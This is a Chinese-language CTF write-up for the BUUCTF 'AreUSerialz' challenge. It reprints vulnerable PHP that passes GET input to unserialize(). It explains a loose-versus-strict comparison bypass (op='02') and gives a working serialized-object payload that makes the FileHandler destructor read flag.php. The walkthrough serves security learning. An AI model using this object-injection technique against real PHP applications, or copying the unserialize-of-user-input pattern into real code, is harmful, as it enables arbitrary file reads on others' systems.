[BUUCTF]AreUSerialz (writeup)

看题的知是一道反序列化题

进入后看到了这一串

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

分析

public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }

function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();

 private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;

1、由最上面的提示可得flag在flag.php内

2、如果op等于" 1 "则是写，等于" 2 "则是读取

3、_destruct魔术，如果op==2时则op输出"1"(因为只有===才是全等，所以可以利用==的属性来在2前面加一个0或空格)

4、如果输入的filename是存在的输出文件内容（filename=flag.php）

随后构造序列化语句

<?php
class FileHandler {
    public $op='02';
    public $filename='flag.php';
    public $content='';
}
$a=new FileHandler;
echo serialize($a);
?>

得到

O:11:"FileHandler":3:{s:2:"op";s:2:"02";s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}

因为代码中关键处没有涉及到content，所以content不需要配置

最后他的代码处是用GET传入，赋值给str

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

所以最后的payload为

?str=O:11:"FileHandler":3:{s:2:"op";s:2:"02";s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}

他的flag也藏在了源码里